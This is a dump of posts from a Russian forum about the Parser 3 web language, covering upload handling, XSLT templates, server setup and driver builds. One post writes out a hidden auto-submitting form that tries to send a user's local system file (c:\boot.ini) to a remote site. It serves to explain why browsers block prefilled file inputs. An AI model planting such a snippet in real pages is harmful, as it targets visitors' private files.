"60297","т.е. локальные перменные метода ему не доступны (о чём сказано в документации после слова \"Важно\"), а переменная, которую вы передаёте параметром в ваш метод incHtml -- локальна.\
\
в простейшем случае вы можете передать переменную через MAIN (скопировать из локальной в MAIN, как обычно скопируется только ссылка), но это будет работать лишь до тех пор пока вы не захотите из одного включаемого файла включить другой и т.д.\
\
чтобы подобного не было можно сделать так, как показано в документации в примере с running_man. очевидно, что вам придется доработать include, чтобы он делал всё вам необходимое."
"60298","Может кому пригодится (бесплатно от Билли - редкость!): http://www.microsoft.com/downloads/details.aspx?familyid=72D6AA49-787D-4118-BA5F-4F30FE913628&displaylang=en\
\
Тут его описание на русском: http://www.microsoft.com/rus/msdn/publish/articles/xmlnotepad.mspx\
\
ЗЫ. Привет всем, пацаны! С наступающим вас праздником 9-го мая! Смерть фашистской гадине! :)"
"60300","Где можно прочитать САМЫЕ-САМЫЕ основы.В руководстве написано по-простому только в самом начале,потом бац!...уже непонятно"
"60301","В ней — пять простых (читать \"примитивных\") уроков.\
\
Если и они непонятны, тогда, пожалуй, не стоит вам тратить время на Парсер, да и на веб.\
Есть масса других интересных профессий."
"60302","Ок, у меня уже есть масса всяких интересных профессий,хотел бы ещё одну"
"60305","если smtp сервер вам подконтролен [или админ доступен], можно переделать отправку письма через smtp сервер на [b]а[/b]синхронную.\
где-то в настройках smtp сервера флажок вполне может быть.\
\
если тривиального выхода не найдёте, у вас всегда есть правильный вариант через свою простенькую [url=\"http://www.parser.ru/forum/?id=60283\"]очередь[/url].\
\
очередь позволит вам сделать куда больше простой слепой отправки.\
\
под windows почитайте про команду at."
"60306","в письме имени нет. может оно теряется при переадресации.\
или его изначально нет. есть только адрес ящика.\
\
да и потом - все ж таки это неудобство.\
я у себя на сайтах с рассылкой вставляю ссылку в письмо \"отписаться\". В ссылке содержится адрес подписчика и персональный код, подтверждающий, что по ссылке перешел именно получатель письма. и никаких проблем - аккаунт остается, только ставится флаг \"не делать рассылку\", другие аккаунты не затрагиваются.\
\
И в заключение :) мнение яндекса (принятое и другими):\
\"В каждом письме должны присутствовать четкие инструкции, как отписаться от рассылки, при этом процесс отписки не должен требовать от пользователя сложных действий, таких как восстановление пароля, регистрация и т.п.\" \
http://help.yandex.ru/mail/?id=617625"
"60307","подобные проблемы прошу обсуждать в частном порядке, не замусоривать форум.\
\
лично меня будет раздражать лишняя подпись в письмах.\
я использую их как продвинутый RSS.\
увы, авторы RSS стандарта не сделали сразу деревьев, теперь уж поздно."
"60308","Проще совсем ничего нет?\
Я имею ввиду что т реально-прикладное для web сайтостроения"
"60309","[b]bug.html[/b]\
[code]@main[]\
	^taint[sql][just string][/code]\
\
Насколько я понимаю, корректная работа такого кода должна быть другой: если есть соединение с базой, то \"just string\" обрабатывается с помощью ^taint[sql], если соединения нет - то получаем exception [untaint in SQL language failed - no connection specified].\
\
Если конструкция ^taint[sql][just string] стоит в начале строки:\
[code]@main[]\
^taint[sql][just string][/code]\
\
Все работает, как и описано в документации."
"60310","Написание веб-приложений требует некоторого понимания того, как пишутся программы вообще и некоторых принципов работы веб-сервера <-> клиента.\
\
С помощью языка программирования вы просто кодируете придуманную вами логику работы (веб-)приложения. Парсер для этого довольно удобен, так как учитывает специфику веба, но не более того. Это все равно язык программирования - со своими операторами, типами данных, etc.\
\
[quote]Он немного сложнее HTML, но не требует особенного умения программировать.[/quote]\
\
Видимо, тут ключевое слово - \"особенного\" :)\
Что вам порекомендовать - даже не знаю. \
Может для начала почитать книжки?"
"60311","Изложите детально задачу, которая перед Вами стоит."
"60312","[code]\
[paf@six] ~/parser3install-3.2.1> bin/parser3\
bin/parser3: file not specified\
Parser/3.2.1 (compiled on i386-pc-solaris2.8)\
Copyright(c) 2001-2005 ArtLebedev Group ...\
[paf@six] ~/parser3install-3.2.1> bin/parser3 bug.html\
<html>\
<head><title>Unhandled Exception</title></head>\
<body>\
<h1>Unhandled Exception</h1>\
<pre>untaint in SQL language failed - no connection specified</pre>\
[/code]"
"60313","Парсер такой:\
Parser/3.2.2b (compiled on i386-unknown-freebsd5.4)\
Copyright(c) 2001-2007 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Так же воспроизводится и на Parser/3.2.1sp.\
\
В консоли:\
\
# ./parser3 bug.html\
terminate called after throwing an instance of 'Exception'\
Abort (core dumped)\
\
[b]bug.html[/b]:\
[code]@main[]\
\
^method[]\
\
@method[]\
    ^taint[sql][just string][/code]"
"60314","в первых уроках дается достаточно информации, чтобы сразу начать работать с интерактивными сайтами и работа с БД и работа с формами там описана, именно поэтому в свое время выбрал парсер - очень просто начинать, ну куда еще проще? :)\
\
И что вы хотели сразу после прочтения? Осознать как сделать свой СУПЕР-ПУПЕР портал 10ю строками кода? Я даже вот и не знаю."
"60317","Вот этот же код раньше работал. А теперь - бац! и перестал. Выдает ошибку name    string method not found. Придирается к предпоследней строке $ext[^file:justext[$form:attach.name]]\
\
вот код.\
\
\
@content[]\
$docs[^table::load[/docs/docs.cfg]]\
^docs.sort($docs.id)[desc]\
<form enctype=\"multipart/form-data\" method=post>\
<textarea cols=30 rows=5 name=text></textarea><br>\
<br>Прикрепить файл документа в форматах doc, xls, zip, rar, html (Если документов несколько, объедените их в один файл-документ)\
<br><input type=file name=attach class=input2><br>\
<br><input type=submit name=post value=\"Отправить\" class=input2>\
^test_and_adddocs[]\
</form>\
\
@test_and_adddocs[]\
^if(def $form:post){\
	$docs[^table::load[/docs/docs.cfg]]\
	^docs.sort($docs.id)[desc]\
	$id[^eval($torgi.id + 1)]\
	^docs.append{$id    $form:text}\
	^docs.save[/docs/docs.cfg]\
	^if(def $form:attach){\
		$ext[^file:justext[$form:attach.name]]\
		^form:attach.save[binary;/docs/${id}.$ext]\
}\
}"
"60318","[code]^if(def $form:post && $form:attach is file){...}[/code]"
"60321","Теперь об ошибке уже не сообщает, но файл все равно не сохраняется ((("
"60322","переданный в форме объект не является файлом и потому содержимое \
[code]^if(def $form:attach && $form:attach is file){\
	$ext[^file:justext[$form:attach.name]]\
	^form:attach.save[binary;/docs/${id}.$ext]\
}[/code]\
не исполняется.\
\
у вас точно указаны <form [b]method=\"post\"[/b] [b]enctype=\"multipart/form-data\"[/b] ...> ?"
"60323","Я привел код как есть... И почему переданное значение не есть файл? Ведь он загружается с поля type=file"
"60324","Задача глобальная:\
Не и иметь более дела с \"программистами\",которые берутся за работу и пропадают\
\
Ладно,будем пытаться.Мне в по пунктам понятно,но вот связать всё...Не умещается в голове просто"
"60325","Пока описаны только основные моменты. В ближайшее время постараюсь описать также и схему разработки шаблонов для модулей.\
Адрес:\
[url=\"http://parser.proc.ru/iso/com_admin_help.chm\"]http://parser.proc.ru/iso/com_admin_help.chm[/url]\
\
Общие принципы возможно пригодятся и тем, кто делает свои CMS-ки.\
\
[b]p.s.[/b]\
Не подумайте, что мне нечем заняться воскресным вечером *-)"
"60326","Судя по постам... не очень."
"60327","[code]\
$fDoc[$form:attach]\
^fDoc.save[binary;/docs/${id}.$ext]\
[/code]"
"60328","т.к. по сути это практически то же самое хочу сделать все в одном классе-модуле. Однако, сразу возникли вопросы:\
- каким образом лучше хранить тэги к постам;\
- ... рейтинги авторов/постов/комментов\
- ... какие подводные камни могут быть.\
\
Сейчас ковыряю исходники Wordpress но пока продвинулся мало. Задаю вопрос, т.к. может у кого есть свои соображения на этот счет применительно к парсеру и вообще."
"60330","Мда... придеться ставить CVS для их скачивания"
"60331","Наверное ничего нового не скажу, или даже наоффтоплю, нем не менее:\
Я тоже начал копать с вордпресса. \
Мне нужно было делать комментарии (ответы) древовиднвми, и в процессе я решил поэксперементировать = строить деревья по немного другому принципу. Условно говоря \"принцип 2 родителей\" объект (коммент) имеет не одного родителя, а двоих.\
Итак мы имеем корневой пост = \"папа\" \
- коммент на корневой пост имеет поле father = id \"папы\" (mother = 0).\
- коммент коммента (ответ на ответ) имеет father = id \"папы\" + mother = id того коммента на которого отвечаем.\
\
Что это дает: \
1) легче считать комменты на пост (папу). \
2) легче строить/кроить поддеревья (они у меня достраиваются в страницу через JS)\
3) легче обрабатывать посты с большим кол-вод комментов: архивировать в почту/переносить/удалять \
\
Пока не знаю полезная эта штука или боян(не достаточно гонял-тестировал, работал с нею). Но может пригодиться"
"60334","помимо id родителя хранится избыточная информация - общий для всей ветки id. Это увеличивает объёмы, но облегчает выборку."
"60339","Нужно :) Например есть форма, форму юзер заполнил с ошибкой, был релоад и юзеру придется выбирать файл заново... А как подставить туда, что он выбрал?"
"60341","многие браузеры таки передают именно полное имя.\
если так случается, parser отрезает \"лишний\" путь.\
\
насчёт того, что как-то можно подставить готовую строку в <input type=file value=сюда>, не слышал.\
можно было бы легко воровать файлы пользователя.\
не поверю, что это возможно, пока не увижу.\
\
лично я не знаком ни с одним пользователем, набирающим в \
<input type=file> \
[code]\
c:\\полный путь\\к файлу.doc\
[/code]\
от руки.\
\
сколько процентов таких посетителей вы насчитаете? {риторический}\
\
мальчика нету."
"60342","Смущает то, что у Вас основной шаблон дан большим куском, а правило layout вызывается по имени. При таком раскладе в шаблонах отдельных страниц не получится переопределить отдельные блоки главного шаблона. Я делаю иначе: разбиваю главный шаблон на логические части и вызываю их с помощью mode:\
\
[code]<title><xsl:apply-templates select='.' mode='window_name'/></title>[/code]\
\
Если на какой-то странице понадобится вывести заголовок, отличный от window_name текущего объекта, достаточно будет переопределить правило в шаблоне страницы:\
\
[code]<xsl:template match='/page' mode='window_name'>\
	<xsl:value-of select='custom_window_name'/>\
</xsl:template>[/code]"
"60343","...в руководстве не рассматривается. Там много чего не рассматривается:\
- использование таблиц локальных сообщений;\
- шаблоны смены регистра\
- упаковка выходного XHTML-кода\
- ... и многое другое.\
\
Для разбора основ этого пока лишне. Я планировал разобрать это отдельно.\
\
А так, все верно: давать основной шаблон одним статичным куском неудобно. Но, не все сразу..."
"60345","http://www.w3.org/TR/html4/interact/forms.html#input-control-types\
[quote]\
[b]file[/b]\
Creates a file select control. User agents may [b]use the value of the value attribute as the initial file name[/b].\
[/quote]\
Но они его почему-то не use."
"60346","круть. я тогда выдам в iframe:\
\
[code]\
<form method=\"post\" action=\"http://my.site.ru\" enctype=\"...\">\
<input type=\"file\" value=\"c:\\boot.ini\" />\
</form>\
<script>\
document.forms[0].submit();\
</script>\
[/code]\
\
:)\
\
и кроме того: FF и Opera не показывают ничего в <input type=\"file\"/>, даже если там я что-то выдал в @value (в IE проверить не могу, т.к. нету его у меня, но есть ощущение что тоже он ничего не покажет)."
"60347","http://www.w3.org/TR/html4/appendix/notes.html#forms-security\
B.10.1 Security issues for forms"
"60349","Ну что пользователь не набирает от руки это понятно. Но операцию выбора ему повторить придется..\
\
Представьте для примера форму, в которой 10 полей файл и предположим каждое из них проверяется на размер или тип файла. Ошибся - давай выбирать всё заново.. Правда ведь не удобно.\
\
У меня случай конечно не такой, но всё же. Ну раз нельзя значит нельзя :)"
"60351","Иначе придеться использовать дополнительные метки. Хотя, возможно есть и другое более изящное решение. Если у вас есть - поделитесь."
"60353","[code]<xsl:call-template name='layout'/>[/code]\
\
->\
\
[code]<xsl:apply-templates select='.' mode='layout'/>[/code]"
"60354","Правильно ли я понимаю, что:\
- в форме два поля, text и file\
- юзер заполняет text и выбирает файл в поле file\
- жмёт submit\
- вы проверяете содержимое text, сообщаете пользователю, что он неправ и впечатал не то\
- заставляете его впечатать в text правильное, [b]а заодно заставляете по-новой загрузить файл[/b]?\
\
Последнее - неправильный дизайн. Не сердите пользователя, поставьте в форму hidden-поле с уникальным id, сохраните файл на сервере и не заставляйте его повторно гонять трафик."
"60356","System  FreeBSD v56.valuehost.ru 5.5-RELEASE FreeBSD 5.5-RELEASE #0: Sun Mar i386  \
\
Такое сообщение выдал. А скачать парсер можно для 4.х и 6\
Какой ставить?"
"60357","там есть для версии 5.5\
\
Но, в принципе, и версия для 4.x может подойти"
"60359","Тогда уж лучше:\
[code]<xsl:apply-templates select='content' mode='layout'/>[/code]\
т.к. все данные содержимого хранятся в этом элементе.\
Можно попробовать."
"60360","я так и думал, что с 11-ти вечера что-то не увижу... Поправлю. Спасибо."
"60361","Спасибо.\
Буду устанавливать."
"60365","я тоже неграмотный, чтобы всё написать без ошибок -- требуется много времени и сил, тратить которые на орфографию нет ни малейшего желания, т.к. впереди маячит океан нерешённых программерских проблем.\
\
конечно, выкладывая что-то нужно стараться чтобы ошибок не было (проверка орфографии с помощью программ находит не всё), но нужно ли делать это самоцелью в нашем случае? может каждый будет заниматься своим делом, и найдутся желающие помочь автору (кстати одному из немногих, кто выкладывает что-то на люди) с орфографией?\
\
ну или, если таких желающих нет, относиться к ошибкам более снисходительно: возможно позже появится время для этого, завершающего штриха."
"60366","Есть необходимость для обработчика шаблонов организовать работу с рамками. Поясню.\
\
В Parser на одном старом сайте у меня есть функции вида:[code]@frame1[data]\
<table bgcolor=\"#0000ff\">\
<tr>\
	<td>$data</td>\
</tr>\
</table>[/code]\
\
и там, где нужно разместить данные в рамочке обрабатываю их этой функцией:[code]^frame1[^showForum[]][/code]\
\
Как что-то похожее реализовать с помощью XSL?"
"60367","Все закачал, но тестовый файл не хочет запускаться\
В логе пишет:\
Premature end of script headers: /pub/home/askor/cgi-bin/parser3.cgi"
"60369","Закачал в режиме binary — размер совпал. Поставил execute для parser3.cgi\
в .htaccess написано:\
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.cgi \
\
# запрет на доступ к .p файлам, в основном, к auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
\
в каталоге cgi-bin находятся:\
parser3.cgi\
auto.p\
lib/ \
charsets/\
\
парсер скачал 5.5 из раздела «Прислали пользователи»\
\
Что не так?"
"60370","[code] . . .\
<xsl:call-template name=\"frame\">\
	<xsl:with-param name=\"data\" select=\"/what/to/draw/in/a/frame\"/>\
</xsl:call-template>\
\
\
<xsl:template name=\"frame\">\
	<xsl:param name=\"data\"/>\
	<table bgcolor=\"#0000ff\">\
		<tr>\
			<td>\
				<xsl:copy-of select=\"$data\"/>\
			</td>\
		</tr>\
	</table>\
</xsl:template>[/code]"
"60371","Обычно наоборот: не возникает желания читать тексты с ошибками :-)\
</off>"
"60372","...т.к. в $data кроме строки текста или цифры ничего не запихать. Т.е.:[code]\
<xsl:with-param name=\"data\">\
	<table>\
		<tr><td>1</td></tr>\
	</table>\
</xsl:with-param>\
[/code]\
не пройдет"
"60373","1. xsl:copy.\
\
2. передавать в шаблон путь."
"60374","Дело вкуса. Для меня важен смысл сказанного, а не слова, которые я использовал.\
Даже Антон Носик особо не парится с этим. По крайней мере (с его слов), ему важна оперативность информации, а не точки с запятыми."
"60375","Мне нужно в шаблон рамку передавать не XML-узел, а результат работы шаблона с этим узлом/ми."
"60379","попробуйте устанавливать атрибут необходимости размещения данных в рамочке"
"60380","Все заработало, только заработал парсер для фрибсд 4.х\
а не для фрибсд 5.5\
Это ведь не существенно в данной ситуации?\
Т.е. с парсером работать можно нормально уже?"
"60382","Самокритика, это конечно хорошо...\
\
Может я просто не совсем понятно разъяснил задачу:\
Мне нужно поместить в раму результат работы шаблона. Задача висит давно, т.к. нужно для CMS-ки [url=\"http://parser.proc.ru\"].COM[/url] упростить работу с шаблонами. В частности, я хочу попробовать перейти на блочную верстку и работу с рамками.\
\
С блочной версткой все просто: прописываем в шаблонах DVI-ы и для них определяем CSS-стили, которые в каждом шаблоне будут свои.\
\
Но с рамками у меня пока ничего не выходит, т.к. не получается передать из шаблона в шаблон уже обработанный XHTML-код."
"60384","При запуске:\
./configure --prefix=/srv/www/cgi-bin --with-pgsql-inc=/opt/pgsql/include\
\
Вылетаем с ошибкой:\
[code]\
checking for RCC... no\
checking for xlC_r... no\
checking for xlC... no\
checking for C++ compiler default output... configure: error: C++ compiler cannot create executables\
See `config.log' for more details.\
[/code]\
\
Компилятор есть установленный GCC:\
gcc version 4.1.0 (SUSE Linux)\
\
в config.log в соответствующей строке следующее:\
[code]\
configure:2052: checking for xlC\
configure:2081: result: no\
configure:2094: checking for C++ compiler version\
configure:2097: g++ --version </dev/null >&5\
./configure: line 2098: g++: command not found\
configure:2100: $? = 127\
configure:2102: g++ -v </dev/null >&5\
./configure: line 2103: g++: command not found\
configure:2105: $? = 127\
configure:2107: g++ -V </dev/null >&5\
./configure: line 2108: g++: command not found\
configure:2110: $? = 127\
configure:2134: checking for C++ compiler default output\
configure:2137: g++    conftest.cc  >&5\
./configure: line 2138: g++: command not found\
configure:2140: $? = 127\
configure: failed program was:\
| #line 2113 \"configure\"\
| /* confdefs.h.  */\
|\
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
|\
| int\
| main ()\
| {\
|\
|   ;\
|   return 0;\
| }\
configure:2179: error: C++ compiler cannot create executables\
See `config.log' for more details.\
\
[/code]\
\
Как исправить?\
PS: по форуму искал. Именно моей проблемы не нашел.\
PSS: мне достаточно только исходников драйвера, чтоб собрать только один драйвер?"
"60385","[code]\
<xsl:template match=\"root\">\
	<html>\
		...\
			<div id=\"wrapper\">\
				<xsl:apply-templates />\
			</div>\
		...\
	</html>\
</xsl:template>\
\
<xsl:template match=\"frame\">\
	<table>\
		<tr>\
			<td>\
				<xsl:apply-templates />\
			</td>\
		</tr>\
	</table>\
</xsl:template>\
\
<xsl:template match=\"data\">\
	<xsl:text>я проник в таблицу!!!</xsl:text>\
</xsl:template>\
[/code]\
Тогда xml вида\
[code]\
<root>\
	<frame>\
		<data />\
	</frame>\
</root>\
[/code]\
Выдаст результат\
[code]\
	<html>\
		...\
			<div id=\"wrapper\">\
				<table>\
					<tr>\
						<td>\
							я проник в таблицу!!!\
						</td>\
					</tr>\
				</table>\
			</div>\
		...\
	</html>\
[/code]"
"60386","то, что заработал парсер, собранный для 4.x -- не существенно.\
\
[quot]\
Т.е. с парсером работать можно нормально уже?\
[/quot]\
\
если нормально выполнился тестовый файл (включая проверку работы с БД), то да."
"60387","неоднократно тут упоминались.\
\
Сборка на версии 3.5 проходит прекрасно."
"60388","К сожалению, в таком варианте идет жесткая привязка к входящим XML-узлам и их последовательности.\
\
Поковырялся немного, подумаю реализовать что-то вроде:[code]<xsl:template name=\"frame\" mode=\"red\">\
	<div class=\"red\">\
		<xsl:apply-templates select=\"$node\" mode=\"$mode\"/>\
	</div>\
</xsl:template>\
\
<xsl:template match=\"item\" mode=\"news\">\
	<xsl:call-template name=\"frame\" mode=\"red\">\
		<xsl:with-param name=\"node\">text</xsl:with-param>\
		<xsl:with-param name=\"mode\">about</xsl:with-param>\
	</xsl:call-template>\
</xsl:template>\
\
<xsl:template match=\"text\" mode=\"about\">\
	<span class=\"date\"><xsl:value-of select=\"@date\"/></span>\
	<br/><xsl:value-of select=\"short\" disable-output-escaping=\"yes\" />\
</xsl:template>[/code]\
\
Где:[code]<xsl:template name=\"frame\" mode=\"red\">\
	<div class=\"red\">\
		<xsl:apply-templates select=\"$node\" mode=\"$mode\"/>\
	</div>\
</xsl:template>[/code]\
Определяется в шаблоне пользователя"
"60389","Сделал как тут:\
\
http://www.parser.ru/forum/?id=42464\
\
...\
cd gc6.1\
./configure --disable-threads --silent\
make\
make install\
...\
\
потом:\
cd /usr/src/parser3sql/parser3pgsql-3.1.HEAD\
./configure --prefix=/srv/www/cgi-bin --with-pgsql-inc=/opt/pgsql/include --with-static-gc=/usr/local/lib --with-dynamic-stdcpp\
\
И в результате то же самое:\
checking for C++ compiler default output... configure: error: C++ compiler cannot create executables\
See `config.log' for more details."
"60390","Может не нужно собирать?\
\
Драйвер для PostgreSQL отсюда:\
http://www.egoroff.spb.ru/portfolio/download/\
из каталога RED HAT\
\
libpq.so, как я понимаю, уже есть в postgres: /opt/pgsql/lib\
\
сам парсер (для RedHat) запустился на SUSE и работает,\
а вот при обращении к базе:\
[code]\
@auto[] \
$connect_string[pgsql://postgres:secret@127.0.0.1/test]\
\
@body_content[]\
^connect[$connect_string]{ \
   $news[^table::sql{select \
       id, str\
   from \
      ttt  \
   }] \
...\
[/code]\
\
Выдает:\
/srv/www/cgi-bin/lib/libparser3pgsql.so\
\
/srv/www/cgi-bin/lib/libparser3pgsql.so: undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE\
\
/mnt/data/www/az/pg_test.html(5:2)\
connect	/mnt/data/www/az/pg_test.html(5:2)\
body_content	/mnt/data/www/az/auto.p(36:4)\
body	/mnt/data/www/az/auto.p(9:2)"
"60391","...вроде в mode нельзя использовать переменные"
"60392","File '/usr/local/share/mysql/charsets/?.conf' not found (Errcode: 2)\
Character set '#51' is not a compiled character set and is not specified in the '/usr/local/share/mysql/charsets/Index' file"
"60395","То код не выполняется. Может проблема в CharsetDisable on?\
Что самое интересное этот же код работает без проблем на 2 других сайтах (("
"60396","Вывести парсером xml:\
...\
<frame>\
<!-- какие-нибудь данные -->\
</frame>\
...\
\
В xslt шаблоне:\
<xsl:apply-templates select=\"path/to/frame\" />\
\
<xsl:template match=\"frame\">\
<!-- здесь обработать данные -->\
</xsl:template>"
"60397","с которой MySQL незнаком. \
\
Список кодировок, которые знает MySQL, выводится запросом[code]SHOW CHARACTER SET[/code]Кодировку по умолчанию можно узнать запросом[code]SHOW VARIABLES[/code]"
"60398","Ужас какой...\
\
Вот тут вот, по умолчанию то что\
\
character_set_client utf8 \
character_set_connection cp1251 \
character_set_database cp1251 \
character_set_results utf8 \
character_set_server cp1251 \
character_set_system utf8\
\
Это и есть по умолчанию то что?\
\
....\
И что дальше? я просто с этим не разу не сталкивался. Ответте по развернутей если можно. Спасибо."
"60401","Что-то у меня авторизация в FF не работает.\
Просит логин, пароль, - ввожу.\
Ок, сообщил узнал.\
На следующей странице снова просит пароль.\
\
куки включены, на других сайтах всё ок, проблема только здесь"
"60402","В описании Engine предусмотрено хранение в одной базе нескольких сайтов. Однако шаблоны/обработчики к ним не привязаны и хранятся в папках templates и processes. Как решается конфликт имён? Например, для двух сайтов мне нужны разные шаблоны main.xslt. Да и в админе хотелось бы отбирать шаблоны, относящиеся к текущему сайту. Может, добавить поле site_id? При этом, шаблон с site_id=0 является общедоступным для всех сайтов."
"60403","Мне требуется пользоваться функциями ftp.\
Ищу подходящего клиента для командной строки, чтобы можно было вызвать из parser\
\
Основные требования одинаковая работа в linux, bsd и windows\
пока остановился на вот этом http://www.ncftpd.com/ncftp/\
может кто знает что-то правильнее"
"60404","мы обычно используем многодоменность engine для хранения нескольких похожих сайтов одного клиента, т.е. общие шаблоны -- совсем не плохо.\
\
вам нужно иное -- сделайте :)\
\
P.S. 'site_id=0' общий для всех -- отстой."
"60406","только что проверил в FF 2.0.0.3 с установками по умолчанию -- все ок.\
\
- ваша версия?\
- работаете не через прокси?\
- что за политики кеширования в нём у вас установлены?\
- после логина и перехода на другую страницу, где вас показывают не залогиненными, попробуйте дописать в url ?1234\
- какие плагины? попробуете их отключить?"
"60407","ftp чем хорош он работает в обе стороны а wget только в одну, или я ошибаюсь?"
"60408","Отключил\
Вбил логин пароль, всё ок\
Включил, по прежнему всё ок"
"60410","можно запускать, так\
parser scrip.html\
\
можно запускать, так\
wget \"domen.ru/script.html?id=22\"\
\
а как запустить парсеровский скрипт с параметрами не из веб пространства?"
"60411","Создам отдельную бд для второго сайта."
"60414","...напрямую обращаться к файлу в form или перекладывать ссылку на него в переменную перед работой."
"60415","возможно что-то не так с настройками сервера. что именно -- я подсказать не могу, попробуйте обратиться к админам. если их нет, а есть support -- попробуйте сделать аналог на perl/php, в случае, если работать не будет и там -- пишите им. если там работать будет -- надо будет искать какую-то парсерную специфику (начать с htaccess, который вы скрываете)"
"60416","Вот .htaccsess на локальном сервере\
\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3.exe\
\
# Запрет на доступ к .p, .cfg и .sql-файлам. Основной: auto.p\
<Files ~ \"\\.(p|cfg|sql)$\">\
  Order allow,deny\
  Deny from all\
</Files>\
\
Он же на удаленном сервере\
\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# Запрет на доступ к .p, .cfg и .sql-файлам. Основной: auto.p\
<Files ~ \"\\.(p|cfg|sql)$\">\
  Order allow,deny\
  Deny from all\
</Files>\
\
\
И писать в суппорт нет смысла, так-как код не идет даже на локальной машине. Я даже ради этого обновил парсер с 3.1.4 до 3.2.1"
"60417","Избился уже на этой глупости ... не хочет выводить main:\
\
auto.p:\
[code]\
@header[]\
<html>\
<head>\
<title>Test mfk</title>\
^css[]\
</head>\
<body>\
\
@css[]\
$url[http://design.ru/]\
<link rel=\"stylesheet\" type=\"text/css\" href=\"$url/css.css\" />\
<link rel=\"shortcut icon\" href=\"favicon.ico\" type=\"image/x-icon\" />\
\
@body[]\
<div class=baka><p><img class=displayed src=\"logo.png\"></p></div>\
\
@footer[]\
бла бла\
</body>\
</html>\
\
@main[]\
^header[]\
^body[]\
^footer[]\
[/code]\
index.html пустой\
\
Вопрос, почему не обрабатывается main функция ?!"
"60418","Но на самом деле нихрена не грузит :[\
\
Работает после того как в index.html добавить:\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
Собственно вопрос к разработчикам - кто косячит ?"
"60419","Вы наверное упустили в документации один момент.\
Если не определён ни один метод то содержимое документа считается методом MAIN :)\
\
Что там у вас в методе MAIN находилось, помоему ничего"
"60420","Установил Apache Swissknife 3.5, в трее появился значёк аппача (аппач-работае, my sql-работает)/ После установки пытается загрузиться тестовая страница , но без результата (404). auto.p не отрабатывает! что сие может быть? Заранее благодарен :)"
"60422","index.html\
[code]@body[]\
Это БОДИ[/code]"
"60423","Установил Ububntu 7.0.6 хотел бы установить Парсер, но как это сделать? первый опыт в линуксе ..."
"60426","а вот на страничке [url=\"http://www.parser.ru/docs/lang/?opevalcomment.htm\"]Комментарии к частям выражения[/url] они идут с любого места в строке и до конца.\
\
но вот в таком коде не работают:\
[code]^connect[$SQL.connect-string]{\
...\
  ^message.sort($message.id)[desc] # обратная сортировка по номеру строки\
  ^if($message){\
  $only10[^message.select($message.id>^eval($message - 10))] # создание таблицы из стр...\
...\
  }\
}[/code]\
тут они выводятся в браузер как текст, включая решетки\
\
как-нибудь исправляется?"
"60427","выражение -- в круглых скобках\
\
нет, не исправляется, используйте # в начале строки, в любом месте в выражении, или используйте ^rem{}"
"60433","для которых браузер не должен использовать прокси."
"60434","ну... просто до этого вы его не показывали...\
\
ещё раз повторю: ваш парсерный код в порядке. copy/paste его - и все ок. проблема с настройками сервера.\
\
с приведённым .htaccess тоже вроде всё ок (вы привели корневой .htaccess, а нет ли у вас оного в каталоге с парсером? и вы пробовали добавлять CharsetDisable On? и случайно CharsetRecodeMultipartForms у вас не задается где-нить?). то, что проблема есть и на локальной машине -- странно вдвойне. вижу что похоже используется denver -- [i]возможно[/i] что-то в его настройках не ладно, но я с ним не сталкивался, поэтому подсказать куда смотреть не могу.\
\
порекомендовать могу разве что временно отключить denver, поставить ручками апач, парсер, убедиться что всё работает, после чего искать различия в настройках апача."
"60435","он тоже использует парсер?"
"60436","Просто имел общение"
"60438","Спасибо за совет, но у меня отключено использование прокси. Может я не там смотрю.... простите мою тупость :)"
"60440","У меня тоже денвер и его код работает без проблем.\
Что такого в принципе может быть в .htaccess (или в прочих настройках НЕ парсера), что строка \
[code]$form:attach.name[/code]\
выдаст ошибку \
[quote]name string method not found[/quote]\
?\
\
P.S. я в предыдущем посте что то совсем бредовое написал, что он был удален?"
"60442","что может быть в настройках сервера -- не знаю, я не специалист по апачу. именно поэтому и предлагаю \"чистую\" инсталляцию + поиск отличий.\
\
P.S. бредовое то, что такой ошибки быть не может.\
P.P.S. http://www.parser.ru/forum/?id=24365 -- может и у вас вложенные form? вы точно проверяете на небольшом тестовом файле?"
"60443","Так, чтобы в выходном документе эта штука:\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">[/code]\
\
Была наверху:\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\
<html>\
<head>\
....[/code]\
\
Пробовал по всякому. не хочет XSL-процессор никак это вставлять."
"60444","Пока забил. Решил использовать блочную верстку + CSS для описания стилей рамок."
"60447","Действительно, высоко-высоко в файле auto.p вкралась лишняя строчка <form name=form1 method=POST>\
\
Спасибо всем кто помогал и сочувствовал!"
"60448","[quote]\
Компилятор есть установленный GCC:\
gcc version 4.1.0 (SUSE Linux)\
[/quote]\
где он лежит?\
какой полный путь к программе g++?"
"60449","начните с драйвера, продолжите самим парсером.\
чтобы собрать драйвер нужны исходники parser.\
структуру каталогов я уже публиковал."
"60450","посоветую. насчёт проблемы с timeout, может с тех пор автор починил это."
"60451","может environment подойдёт?\
[code]\
TEST1=123\
/path/to/parser3 script.p\
[/code]\
script.p\
[code]\
$env:TEST1\
[/code]"
"60452","то поищите, где у вас установлен apache.\
[code]\
locate httpd.conf\
[/code]\
и почитайте его.\
ваше веб-пространство, это DocumentRoot,\
ваши скрипты, это ScriptAlias.\
\
если apache не запущен, запустите."
"60453","тут штука в том, что XHTML не просто шапка, но и немного изменяющееся душевное состояние кода, что выводит XHMTL из DOM дерева.\
\
про детали этого шаманства можно почитать в доке на libxml."
"60454","www.denwer.ru\
Там заходи в \"скачать дистрибутивы\"\
Выбери base_parser...\
И наслаждайся"
"60455","$form:file.text - увы, тут не поможет.\
\
